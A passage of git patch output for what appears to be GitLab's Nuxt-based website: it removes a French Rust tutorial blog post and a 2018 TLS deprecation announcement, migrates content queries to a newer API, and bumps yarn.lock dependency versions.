is of the Text type, pass a new struct instantiation.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{}).content);\n// 4th attempt. Struct instantiation requires 3 field values.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{\"\", \"\", \"\"}).content);\n// 5th attempt. Struct instantation with public fields requires key: value syntax\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: \"\", src: \"\", content: \"\"}).content);\n// 6th attempt. Reviewed expected Text types in https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html and created Mime and String objects\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: String::new(), content: String::new()}).content);\n// 7th attempt: String and Option<String> cannot be casted automagically. Compiler suggested using `Option::Some()`.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(), content: String::new()}).content);\n*/\n\n// xth attempt: Solution. Option::Some() requires a new String object.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(String::new()), content: String::new()}).content);\n```\n\nCette approche n'était pas satisfaisante, car la ligne de code était difficile à lire et nécessitait une retouche manuelle sans suggestions de code. Puis, j'ai trouvé où se nichait le problème\_: si `Option` a la valeur `none`, `unwrap()` génère une erreur. J'ai demandé aux suggestions de code s’il existe une méthode plus simple, avec ce nouveau commentaire\_:\n\n```\n                // xth attempt: Solution. Option::Some() requires a new String object.\n                println!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(String::new()), content: String::new()}).content);\n\n                // Alternatively, use Option.is_none()\n```\n\n![Demande aux suggestions de code d'une alternative pour Options.is_none](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_after_complex_unwrap_or_else_ask_for_alternative_option.png){: .shadow}\n\nCette méthode améliore la lisibilité, moins de cycles CPU sont gaspillés sur `unwrap()` et la courbe d'apprentissage est excellente, de la résolution d'un problème complexe à l'utilisation d'une solution standard. Gagnant-gagnant.\n\nAjoutez le stockage des données XML sur le disque pour finaliser l'application de lecteur de flux.\n\n\n```rust\n                // Dump the parsed body to a file, as name-current-iso-date.xml\n                let file_name = format!(\"{}-{}.xml\", thread_name, chrono::Local::now().format(\"%Y-%m-%d-%H-%M-%S\"));\n                let mut file = std::fs::File::create(file_name).unwrap();\n                file.write_all(body.as_ref()).unwrap();\n```\n\nCompilez et exécutez le programme pour vérifier les données de sortie.\n\n```shell\ncargo build\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![Terminal VS Code, exécution de Cargo avec des données de sortie d'intrants au format requis](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_run_formatted_output_final.png)\n\n## Benchmarks\n\n### Exécution séquentielle vs parallèle\nComparez les temps d'exécution du code en créant cinq échantillons pour chaque type d'exécution.\n\n1. Exécution séquentielle. [Exemple de code source de la MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader/-/merge_requests/1)\n2. Exécution parallèle. [Exemple de code source de la MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader/-/merge_requests/3)\n\n```shell\n# Sequential\ngit checkout sequential-exec\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.21s user 0.08s system 10% cpu 2.898 total\n0.21s user 0.08s system 11% cpu 2.585 total\n0.21s user 0.09s system 10% cpu 2.946 total\n0.19s user 0.08s system 10% cpu 2.714 total\n0.20s user 0.10s system 10% cpu 2.808 total\n```\n\n```shell\n# Parallel\ngit checkout parallel-exec\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.19s user 0.08s system 17% cpu 1.515 total\n0.18s user 0.08s system 16% cpu 1.561 total\n0.18s user 0.07s system 17% cpu 1.414 total\n0.19s user 0.08s system 18% cpu 1.447 total\n0.17s user 0.08s system 16% cpu 1.453 total\n```\nAvec quatre threads RSS en parallèle, le temps total est presque réduit de moitié, mais le CPU est plus sollicité. Optimisons le code et les fonctionnalités.\n\nActuellement, nous utilisons la version de débogage Cargo, mais pas encore les versions optimisées. L'exécution parallèle a ses limites\_: les points de terminaison HTTP peuvent atteindre leur débit maximum, et \n\nchaque thread nécessite un changement de contexte dans le noyau, consommant des ressources. Lorsqu'un thread reçoit des ressources de calcul, d'autres sont mis en veille. Un trop grand nombre de threads peut ralentir le système. Pour éviter cela, utilisez des design patterns comme les [files d'attente de travail](https://docs.rs/work-queue/latest/work_queue/). Un pool de threads récupère cette tâche pour une exécution asynchrone.\n\nRust garantir la synchronisation des données entre les threads à l'aide des [canaux](https://doc.rust-lang.org/rust-by-example/std_misc/channels.html). Pour garantir un accès simultané aux données, des [mutexes (exclusions mutuelles)](https://doc.rust-lang.org/std/sync/struct.Mutex.html) fournissent des verrous sûrs.\n\n### CI/CD avec mise en cache Rust\nAjoutez la configuration CI/CD suivante dans le fichier `.gitlab-ci.yml`. Le job `run-latest` appelle `cargo run` avec des exemples d'URL de flux RSS et mesure le temps d'exécution en continu.\n\n```\nstages:\n  - build\n  - test\n  - run\n\ndefault:\n  image: rust:latest\n  cache:\n    key: ${CI_COMMIT_REF_SLUG}\n    paths:\n      - .cargo/bin\n      - .cargo/registry/index\n      - .cargo/registry/cache\n      - target/debug/deps\n      - target/debug/build\n    policy: pull-push\n\n# Cargo data needs to be in the project directory for being cached.\nvariables:\n  CARGO_HOME: ${CI_PROJECT_DIR}/.cargo\n\nbuild-latest:\n  stage: build\n  script:\n    - cargo build --verbose\n\ntest-latest:\n  stage: build\n  script:\n    - cargo test --verbose\n\nrun-latest:\n  stage: run\n  script:\n    - time cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![Pipelines GitLab CI/CD pour Rust, données de sortie de l'exécution Cargo](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/gitlab_cicd_pipeline_rust_cargo_run_output.png){: .shadow}\n\n## Étapes suivantes\nRédiger cet article a été un défi pour maîtriser les techniques avancées de Rust et optimiser les suggestions de code. Ces dernières sont très utiles pour générer rapidement du code, avec le contexte local et pour ajuster l'algorithme à mesure que vous écrivez le code. Dans cet article, j'ai partagé les défis et les solutions. L'exemple de code pour l'application de lecture est disponible dans [le projet learn-rust-ai-app-reader](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader).\n\nL'analyse des flux RSS étant complexe, elle nécessite des structures de données, des requêtes HTTP externes et des optimisations parallèles. Alors, `pourquoi ne pas utiliser la crate std::rss` -- pour une exécution asynchrone avancée. Cela ne démontre pas toutes les fonctionnalités de Rust abordées dans cet article, mais vous pouvez essayer de réécrire le code avec la [crate `rss`](https://docs.rs/rss/latest/rss/) pour pratiquer l'exécution asynchrone.\n\n### Exercices d'apprentissage de l'exécution asynchrone\nCet article pose les bases pour explorer le stockage persistant et la présentation des données. Pour vous perfectionner votre application en Rust, voici quelques idées\_:\n\n1. Stockage des données\_: utilisez une base de données comme sqlite et suivez les mises à jour des flux RSS.\n2. Notifications\_: déclenchez des notifications dans Telegram, ou autres.\n3. Fonctionnalités\_: étendez les types de lecteurs aux API REST\n4. Configuration\_: intégrez des fichiers de configuration pour les flux RSS, les API, etc.\n5. Efficacité\_: ajoutez des filtres et des balises d'abonnement.\n6. Déploiement\_: utilisez un serveur Web, collectez les indicateurs avec Prometheus et déployez sur Kubernetes.\n\nNous aborderons certains de ces sujets dans un prochain article. En attendant, essayez d'implémenter des flux RSS existants et explorez d'autres bibliothèques Rust (`crates`).\n\n### Votre retour d'expérience\nLorsque vous utilisez les suggestions de code de [GitLab\_Duo](/gitlab-duo/), n'hésitez pas à [partager vos retours dans le ticket prévu à cet effet](https://gitlab.com/gitlab-org/gitlab/-/issues/405152).\n"
-  category: IA/ML
-  tags:
-    - DevSecOps
-    - careers
-    - tutorial
-    - workflow
-    - AI/ML
-config:
-  slug: learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions
-  featured: false
-  template: BlogPost
diff --git a/nuxt.config.ts b/nuxt.config.ts
index f87529356..d46cdeec4 100644
--- a/nuxt.config.ts
+++ b/nuxt.config.ts
@@ -4,12 +4,6 @@ import { getGtagConsentScript } from './scripts/gtm-consent-script';
 
 // https://nuxt.com/docs/api/configuration/nuxt-config
 export default defineNuxtConfig({
-  content: {
-    _localDatabase: {
-      type: 'sqlite',
-      filename: 'gitlab-content.db',
-    },
-  },
   ignore: [
     // Ignore all files in the /public/images/blog directory
     'public/images/blog/**',
@@ -133,6 +127,9 @@ export default defineNuxtConfig({
     '@nuxtjs/i18n',
   ],
   i18n: {
+    bundle: {
+      optimizeTranslationDirective: false,
+    },
     legacy: false,
     fallbackLocale: 'en-us',
     silentFallbackWarn: false,
diff --git a/sqlite-config.sql b/sqlite-config.sql
deleted file mode 100755
index 8292f2b32..000000000
--- a/sqlite-config.sql
+++ /dev/null
@@ -1,4 +0,0 @@
-.open gitlab-content.db
-PRAGMA journal_mode;
-PRAGMA journal_mode = WAL;
-PRAGMA journal_mode;
-- 
GitLab


From b2bbeb32f9b9f2dc6c88b77b8cd4d378604006ee Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Tue, 25 Mar 2025 14:16:04 -0400
Subject: [PATCH 54/56] Comment out a missed use case

---
 .gitlab-ci.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index ff20a5ae6..0f0285a99 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -105,8 +105,8 @@ translation-data-prep:
 # Lint Stage
 ###################################
 lint-and-prettier:
-  extends:
-    - .macos-image
+  # extends:
+  #   - .macos-image
   dependencies:
     - install-staging
     - install-production
-- 
GitLab


From 1d27f3520efaff1495d01c8bec3a6bd81a734601 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Tue, 25 Mar 2025 21:48:21 -0400
Subject: [PATCH 55/56] update a couple queries

---
 components/company/ByTheNumbers.vue           |   2 +-
 components/navigation/footer/Source.vue       |   2 +-
 .../blog/gitlab-to-deprecate-older-tls.yml    | 116 ------------------
 3 files changed, 2 insertions(+), 118 deletions(-)
 delete mode 100644 content/en-us/blog/gitlab-to-deprecate-older-tls.yml

diff --git a/components/company/ByTheNumbers.vue b/components/company/ByTheNumbers.vue
index 52e861a4d..f4eace1f8 100644
--- a/components/company/ByTheNumbers.vue
+++ b/components/company/ByTheNumbers.vue
@@ -36,7 +36,7 @@ defineProps<ByTheNumbersProps>();
 const { locale } = useI18n();
 
 const { data } = await useAsyncData('by-the-numbers', () =>
-  queryContent(`/shared/${locale.value.toLocaleLowerCase()}/company-by-the-numbers`).findOne(),
+  queryCollection('shared').where('stem', '=', `shared/${locale.value}/company-by-the-numbers`).first(),
 );
 
 if (!data) {
diff --git a/components/navigation/footer/Source.vue b/components/navigation/footer/Source.vue
index 2089d9133..b8052bcc1 100644
--- a/components/navigation/footer/Source.vue
+++ b/components/navigation/footer/Source.vue
@@ -15,7 +15,7 @@ const { locale } = useI18n();
 const { params } = useRoute();
 const slug = `/${locale.value.toLowerCase()}/${params.slug ? params.slug.join('/') : ''}`;
 const fileNamePath = slug.replace(/(^\/)|(\/$)/g, '');
-const pathChildrenCount = await queryContent(slug).count();
+const pathChildrenCount = await queryCollection('pages').path(slug).count();
 
 const editLink = computed(() => {
   return pathChildrenCount > 1
diff --git a/content/en-us/blog/gitlab-to-deprecate-older-tls.yml b/content/en-us/blog/gitlab-to-deprecate-older-tls.yml
deleted file mode 100644
index be52c4752..000000000
--- a/content/en-us/blog/gitlab-to-deprecate-older-tls.yml
+++ /dev/null
@@ -1,116 +0,0 @@
-seo:
-  title: GitLab to deprecate support for TLS 1.0 and TLS 1.1 by end of 2018
-  description: Support for TLS 1.0 and 1.1 will be disabled on December 15th, 2018
-  ogTitle: GitLab to deprecate support for TLS 1.0 and TLS 1.1 by end of 2018
-  ogDescription: Support for TLS 1.0 and 1.1 will be disabled on December 15th, 2018
-  noIndex: false
-  ogImage: images/blog/hero-images/default-blog-image.png
-  ogUrl: https://about.gitlab.com/blog/gitlab-to-deprecate-older-tls
-  ogSiteName: https://about.gitlab.com
-  ogType: article
-  canonicalUrls: https://about.gitlab.com/blog/gitlab-to-deprecate-older-tls
-  schema: |2-
-
-                            {
-            "@context": "https://schema.org",
-            "@type": "Article",
-            "headline": "GitLab to deprecate support for TLS 1.0 and TLS 1.1 by end of 2018",
-            "author": [{"@type":"Person","name":"Melissa Farber"}],
-            "datePublished": "2018-10-15",
-          }
-
-title: GitLab to deprecate support for TLS 1.0 and TLS 1.1 by end of 2018
-description: Support for TLS 1.0 and 1.1 will be disabled on December 15th, 2018
-authors:
-  - Melissa Farber
-heroImage: images/blog/hero-images/default-blog-image.png
-date: '2018-10-15'
-body: >-
-  We are focused on improving our security posture at GitLab and are always
-  working to evolve our security processes. Part of that evolution is the
-  incorporation of stronger cryptographic standards into our environment, and
-  the deprecation of those that have been rendered out-dated or proven to be
-  prone-to-attacks. In an effort to continue to raise that bar, we are
-  announcing our plan to discontinue support for Transport Layer Security
-  (TLS) 1.0 and 1.1 on GitLab.com and in our GitLab API by December 15, 2018.
-  To that end, we have published this [public
-  issue](https://gitlab.com/gitlab-com/security/issues/202) that will be used
-  to track progress of this initiative and provide updates to the GitLab
-  community.
-
-
-  Currently, GitLab.com supports TLS 1.0 and TLS 1.1. There have been many
-  serious security issues reported with TLS 1.0 and TLS 1.1, including but not
-  limited to [Heartbleed](http://heartbleed.com/).
-
-
-  In addition, from a security compliance standpoint, the Payment Card
-  Industry (PCI) DSS 3.1 standard mandates the migration away from these
-  weaker cryptographic standards. This mandate is to exclude Secure Sockets
-  Layer (SSL) 3.0, TLS 1.0, and some ciphers supported by TLS 1.1 from
-  protocols supporting strong cryptography.
-
-  Our intent in making this announcement and creating the [public
-  issue](https://gitlab.com/gitlab-com/security/issues/202) is to minimize any
-  potential operational disruptions to GitLab.com customers while deprecating
-  TLS 1.0 and TLS 1.1. This post is the first of three that we will publish
-  during this interim period prior to disabling support for TLS 1.0 and 1.1 on
-  December 15th, 2018.
-
-  As always, we will continue to monitor TLS 1.0 and 1.1 vulnerabilities and
-  will adapt our timeline as required to mitigate protocol-level issues if
-  they arise.  In addition to the monthly blog posts on the status of this
-  initiative, updates to timelines will be posted to our Twitter feed and
-  tracked in [public
-  issues](https://gitlab.com/gitlab-com/security/issues/202). Additionally,
-  GitLab.com users who have opted to receive [security alert
-  emails](/company/preference-center/) from GitLab will receive status updates
-  regarding the this deprecation process.
-
-
-  If you have any questions, please reach out to the Security team by emailing
-  security@gitlab.com
-
-
-  ## Identified client incompatibilities
-
-
-  The majority of traffic should be unaffected by the deprecation of support
-  for versions 1.0 and 1.1. Currently, the nof requests to GitLab.com are
-  using up-to-date clients with support for TLS1.2. Whereas there are a few
-  remaining clients that we believe will be affected (see below) most of these
-  can be updated to work with TLS 1.2.
-
-
-  ### Git-Credential-Manager-for-Windows prior to 1.14.0
-
-  Versions prior to 1.14.0 of Git-Credential-Manager-for-Windows do not
-  support TLSv1.2. This can be addressed by updating to v1.14.0.    
-
-
-  ### Git on Red Hat 5, < 6.8, and < 7.2
-
-  Users running Red Hat 5 are advised to upgrade to a newer version of the
-  operating system as Red Hat does not have a point release planned for 5 that
-  supports TLS 1.2. Git clients shipped with Red Hat 6 and 7 did not support
-  TLSv1.2, which can be remediated by updating to versions 6.8 and 7.2
-  respectively.
-
-
-  ### JGit / Java releases < JDK 8
-
-  Versions of the JDK 6 and prior do not support TLSv1.2. We advise users of
-  JDK <= 6 to upgrade to a newer version of the JDK.
-
-
-  ### Visual Studio
-
-  The latest version of Visual Studio 2017 supports TLSv1.2. Users not running
-  the latest version are advised to upgrade.
-category: Company
-tags:
-  - security
-config:
-  slug: gitlab-to-deprecate-older-tls
-  featured: false
-  template: BlogPost
-- 
GitLab


From 47b7cb34c940b1d07eccfe5353cdf22bfb0053ab Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 26 Mar 2025 15:53:48 -0400
Subject: [PATCH 56/56] Add experimental field back

---
 nuxt.config.ts |   3 +
 yarn.lock      | 397 +++++++++++++++++++++----------------------------
 2 files changed, 170 insertions(+), 230 deletions(-)

diff --git a/nuxt.config.ts b/nuxt.config.ts
index d46cdeec4..8e585d54a 100644
--- a/nuxt.config.ts
+++ b/nuxt.config.ts
@@ -4,6 +4,9 @@ import { getGtagConsentScript } from './scripts/gtm-consent-script';
 
 // https://nuxt.com/docs/api/configuration/nuxt-config
 export default defineNuxtConfig({
+  content: {
+    experimental: { nativeSqlite: true },
+  },
   ignore: [
     // Ignore all files in the /public/images/blog directory
     'public/images/blog/**',
diff --git a/yarn.lock b/yarn.lock
index 3df882ef2..2439f1ef7 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -831,12 +831,12 @@
   dependencies:
     mermaid "^11.4.0"
 
-"@mermaid-js/parser@^0.3.0":
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/@mermaid-js/parser/-/parser-0.3.0.tgz#7a28714599f692f93df130b299fa1aadc9f9c8ab"
-  integrity sha512-HsvL6zgE5sUPGgkIDlmAWR1HTNHz2Iy11BAWPTa4Jjabkpguy4Ze2gzfLrg6pdRuBvFwgUYyxiaNqZwrEEXepA==
+"@mermaid-js/parser@^0.4.0":
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/@mermaid-js/parser/-/parser-0.4.0.tgz#c1de1f5669f8fcbd0d0c9d124927d36ddc00d8a6"
+  integrity sha512-wla8XOWvQAwuqy+gxiZqY+c7FokraOTHRWMsbB4AgRx9Sy7zKslNyejy7E+a77qHfey5GXw/ik3IXv/NHMJgaA==
   dependencies:
-    langium "3.0.0"
+    langium "3.3.1"
 
 "@miyaneee/rollup-plugin-json5@^1.2.0":
   version "1.2.0"
@@ -993,19 +993,19 @@
   resolved "https://registry.yarnpkg.com/@nuxt/devalue/-/devalue-2.0.2.tgz#5749f04df13bda4c863338d8dabaf370f45ef7c7"
   integrity sha512-GBzP8zOc7CGWyFQS6dv1lQz8VVpz5C2yRszbXufwG/9zhStTIH50EtD87NmWbTMwXDvZLNg8GIpb1UFdH93JCA==
 
-"@nuxt/devtools-kit@2.3.1", "@nuxt/devtools-kit@^2.2.1", "@nuxt/devtools-kit@^2.3.0":
-  version "2.3.1"
-  resolved "https://registry.yarnpkg.com/@nuxt/devtools-kit/-/devtools-kit-2.3.1.tgz#63ed72768d3a4eca485a0bc6fb4c9dc575449bd6"
-  integrity sha512-sggap7UTV0823cZk1buCEdd3KG+dMo73DpBuN+zHFC8UG3PfSKDlbVmQGb0TegxWTXG6BwItNQo8gd+pZzf/MA==
+"@nuxt/devtools-kit@2.3.2", "@nuxt/devtools-kit@^2.2.1", "@nuxt/devtools-kit@^2.3.0":
+  version "2.3.2"
+  resolved "https://registry.yarnpkg.com/@nuxt/devtools-kit/-/devtools-kit-2.3.2.tgz#81dc6d3a2a08f22a58068d9557ac333ba662ae27"
+  integrity sha512-K0citnz9bSecPCLl4jGfE5I5St+E9XtDmOvYqq3ranGZGZ2Mvs5RwgUkaOrn4rulvUmBGBl7Exwh5YX9PONrEQ==
   dependencies:
     "@nuxt/kit" "^3.16.1"
     "@nuxt/schema" "^3.16.1"
     execa "^8.0.1"
 
-"@nuxt/devtools-wizard@2.3.1":
-  version "2.3.1"
-  resolved "https://registry.yarnpkg.com/@nuxt/devtools-wizard/-/devtools-wizard-2.3.1.tgz#628edaf8b94252cfe9e51d8720bbfbfd12b3f64d"
-  integrity sha512-FqJVncQ9XiVR3uVwnqxHysCShfwrsK8JL4Q8rNrQoY9ly0Q7h6vimX44asFZSSCQ25WYo74PikdvVKV/bZW+qg==
+"@nuxt/devtools-wizard@2.3.2":
+  version "2.3.2"
+  resolved "https://registry.yarnpkg.com/@nuxt/devtools-wizard/-/devtools-wizard-2.3.2.tgz#1f6d6fdfcf2eb4416a4d4a0066bdb74fc409883d"
+  integrity sha512-vrGjcb7O/ojrWM9FXjAyWgMLUTkb9bmQUCXc//wZw8YnJLR/hmmvo0XFwmz31BN7nMLZaMpUclROdlhRSPNf1Q==
   dependencies:
     consola "^3.4.2"
     diff "^7.0.0"
@@ -1017,16 +1017,16 @@
     semver "^7.7.1"
 
 "@nuxt/devtools@^2.3.0":
-  version "2.3.1"
-  resolved "https://registry.yarnpkg.com/@nuxt/devtools/-/devtools-2.3.1.tgz#a4fb232c15378002707bc196166862f28cec7001"
-  integrity sha512-SA/ShgsB/E1DMAC7BZI6sP00djvOXfhrwaqdpb1rNNOqNJ/JX1oc+LVNtKTPAzxUouDsv5sAeEVdPT5enync2g==
+  version "2.3.2"
+  resolved "https://registry.yarnpkg.com/@nuxt/devtools/-/devtools-2.3.2.tgz#cfaf7a38abca8369eeea4303d04ce6711adcab80"
+  integrity sha512-MMx7pUW0aPDRmhe3jy91srEiFWq/Q70rjbGoHhzpVosuvyvy/fi0oKOFQqN5V4V7jJLiEx4HAoD0QdqP0I6xBA==
   dependencies:
-    "@nuxt/devtools-kit" "2.3.1"
-    "@nuxt/devtools-wizard" "2.3.1"
+    "@nuxt/devtools-kit" "2.3.2"
+    "@nuxt/devtools-wizard" "2.3.2"
     "@nuxt/kit" "^3.16.1"
     "@vue/devtools-core" "^7.7.2"
     "@vue/devtools-kit" "^7.7.2"
-    birpc "^2.2.0"
+    birpc "^2.3.0"
     consola "^3.4.2"
     destr "^2.0.3"
     error-stack-parser-es "^1.0.5"
@@ -1050,7 +1050,7 @@
     structured-clone-es "^1.0.0"
     tinyglobby "^0.2.12"
     vite-plugin-inspect "^11.0.0"
-    vite-plugin-vue-tracer "^0.1.1"
+    vite-plugin-vue-tracer "^0.1.3"
     which "^5.0.0"
     ws "^8.18.1"
 
@@ -1204,13 +1204,13 @@
     std-env "^3.8.1"
 
 "@nuxt/scripts@^0.11.2":
-  version "0.11.2"
-  resolved "https://registry.yarnpkg.com/@nuxt/scripts/-/scripts-0.11.2.tgz#7208ed0a79d890cc16a728f8d98ff8e6b3df6a0a"
-  integrity sha512-m+/c6PevQmJOI8sepB/gN1MKhCcdNhQ/Z6kF8Nb9LN/y9xl7JAdZFRNo9aG1z3+NMjb0t9ozROs6r/M/UcdzOQ==
+  version "0.11.5"
+  resolved "https://registry.yarnpkg.com/@nuxt/scripts/-/scripts-0.11.5.tgz#7f2f27593c12643a5f5affce98cd3191b28401ee"
+  integrity sha512-dGoeUh2GTCWffgSbNv8bURHRiLkddU6rZgmWikQViyYBrQ6rN3qHPA1GI50x/KJeZjzQJK2hh1E35Y7EkwU18w==
   dependencies:
-    "@nuxt/kit" "^3.16.0"
+    "@nuxt/kit" "^3.16.1"
     "@vueuse/core" "^13.0.0"
-    consola "^3.4.0"
+    consola "^3.4.2"
     defu "^6.1.4"
     h3 "^1.15.1"
     magic-string "^0.30.17"
@@ -1221,9 +1221,9 @@
     sirv "^3.0.1"
     std-env "^3.8.1"
     ufo "^1.5.4"
-    unplugin "^2.2.0"
+    unplugin "^2.2.2"
     unstorage "^1.15.0"
-    valibot "^1.0.0-rc.4"
+    valibot "^1.0.0"
 
 "@nuxt/telemetry@^2.6.6":
   version "2.6.6"
@@ -1672,36 +1672,6 @@
   resolved "https://registry.yarnpkg.com/@poppinss/exception/-/exception-1.2.1.tgz#8a5f2120fabb64a99772166d537d8a97490209ff"
   integrity sha512-aQypoot0HPSJa6gDPEPTntc1GT6QINrSbgRlRhadGW2WaYqUK3tK4Bw9SBMZXhmxd3GeAlZjVcODHgiu+THY7A==
 
-"@redocly/ajv@^8.11.2":
-  version "8.11.2"
-  resolved "https://registry.yarnpkg.com/@redocly/ajv/-/ajv-8.11.2.tgz#46e1bf321ec0ac1e0fd31dea41a3d1fcbdcda0b5"
-  integrity sha512-io1JpnwtIcvojV7QKDUSIuMN/ikdOUd1ReEnUnMKGfDVridQZ31J0MmIuqwuRjWDZfmvr+Q0MqCcfHM2gTivOg==
-  dependencies:
-    fast-deep-equal "^3.1.1"
-    json-schema-traverse "^1.0.0"
-    require-from-string "^2.0.2"
-    uri-js-replace "^1.0.1"
-
-"@redocly/config@^0.22.0":
-  version "0.22.1"
-  resolved "https://registry.yarnpkg.com/@redocly/config/-/config-0.22.1.tgz#e14461c009ac53b74f82c9788f9c43fc2c718f24"
-  integrity sha512-1CqQfiG456v9ZgYBG9xRQHnpXjt8WoSnDwdkX6gxktuK69v2037hTAR1eh0DGIqpZ1p4k82cGH8yTNwt7/pI9g==
-
-"@redocly/openapi-core@^1.28.0":
-  version "1.34.0"
-  resolved "https://registry.yarnpkg.com/@redocly/openapi-core/-/openapi-core-1.34.0.tgz#8486b8dd9b462ea9f6c204d8b47f983f59ecbbd9"
-  integrity sha512-Ji00EiLQRXq0pJIz5pAjGF9MfQvQVsQehc6uIis6sqat8tG/zh25Zi64w6HVGEDgJEzUeq/CuUlD0emu3Hdaqw==
-  dependencies:
-    "@redocly/ajv" "^8.11.2"
-    "@redocly/config" "^0.22.0"
-    colorette "^1.2.0"
-    https-proxy-agent "^7.0.5"
-    js-levenshtein "^1.1.6"
-    js-yaml "^4.1.0"
-    minimatch "^5.0.1"
-    pluralize "^8.0.0"
-    yaml-ast-parser "0.0.43"
-
 "@resvg/resvg-js-android-arm-eabi@2.6.2":
   version "2.6.2"
   resolved "https://registry.yarnpkg.com/@resvg/resvg-js-android-arm-eabi/-/resvg-js-android-arm-eabi-2.6.2.tgz#e761e0b688127db64879f455178c92468a9aeabe"
@@ -2499,7 +2469,7 @@
     semver "^7.6.0"
     ts-api-utils "^2.0.1"
 
-"@typescript-eslint/utils@8.28.0", "@typescript-eslint/utils@^8.23.0", "@typescript-eslint/utils@^8.26.0", "@typescript-eslint/utils@^8.27.0":
+"@typescript-eslint/utils@8.28.0", "@typescript-eslint/utils@^8.23.0", "@typescript-eslint/utils@^8.26.0", "@typescript-eslint/utils@^8.28.0":
   version "8.28.0"
   resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.28.0.tgz#7850856620a896b7ac621ac12d49c282aefbb528"
   integrity sha512-OELa9hbTYciYITqgurT1u/SzpQVtDLmQMFzy/N8pQE+tefOyCWT79jHsav294aTqV1q1u+VzqDGbuujvRYaeSQ==
@@ -2523,9 +2493,9 @@
   integrity sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==
 
 "@unhead/addons@^2.0.0-rc.12":
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/@unhead/addons/-/addons-2.0.0.tgz#ebabc893859fa1b51a53571f315f22d424cbb55c"
-  integrity sha512-KhrN4hyPvEar3NKa1RVUMBYSBXHF6hoVPMqeKkYSpig4WZTCUCqVFEqgH+O4fkwUHicKYHz/hgf7Cx0ATUcAPg==
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/@unhead/addons/-/addons-2.0.2.tgz#1dfc1819c61bac8cbcd68e8215bb413e161b172a"
+  integrity sha512-lgusCYMiaSgIOetTKoZWJ5hGi2EXCuCEZxm5QKKMGyGQPsEm+y3wn6LwHkD+CBmnuNhNH5kgb6nibcOHh5aHfg==
   dependencies:
     "@rollup/pluginutils" "^5.1.4"
     estree-walker "^3.0.3"
@@ -2536,21 +2506,21 @@
     unplugin-ast "^0.14.4"
 
 "@unhead/schema-org@^2.0.0-rc.13":
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/@unhead/schema-org/-/schema-org-2.0.0.tgz#ec5fd6fe01fc37cdfb54ac637347423191377e80"
-  integrity sha512-itPIlLd4z3x0vWzxfmCXJBOGNpc0JkwhtDnkzmzkeMKk+u8O3cIbf/43uyuCYrjtPaexwkR6gBEyIsTD1k9tXw==
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/@unhead/schema-org/-/schema-org-2.0.2.tgz#6dd4c3d25f6a51ea195672048652cf3720db51b2"
+  integrity sha512-B19ra0lIMvl7IUYo1N5omwAjknPuvEVfdpkykaKk4Tw4PIYqSM1Xo7Kbu5AILkEZNRbc+s4e/m2JirN/yqbGMA==
   dependencies:
     defu "^6.1.4"
     ohash "^2.0.11"
     ufo "^1.5.4"
 
 "@unhead/vue@^2.0.0-rc.13":
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/@unhead/vue/-/vue-2.0.0.tgz#4a99a9024027b8666d20374a96e850e70837d273"
-  integrity sha512-QkgWNZ9ZWXhhTYZL2JJs33YwmJP7Ix8l28hofV0qM2txlIVhp747bdxdD/eMysMusbvvtHtMgvPEQE6kByqUTw==
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/@unhead/vue/-/vue-2.0.2.tgz#02a3463db63b6923973e249b736a002eef9be041"
+  integrity sha512-pUGcbmPNCALOVWnQRtIjJ5ubNaZus3nHfCBDPEVwhbiLzeLF6wbhgTakwksZ1EegKNOZwRAkmVbV6i+23OYEUQ==
   dependencies:
     hookable "^5.5.3"
-    unhead "2.0.0"
+    unhead "2.0.2"
 
 "@unocss/core@66.0.0", "@unocss/core@^66.0.0":
   version "66.0.0"
@@ -2590,62 +2560,82 @@
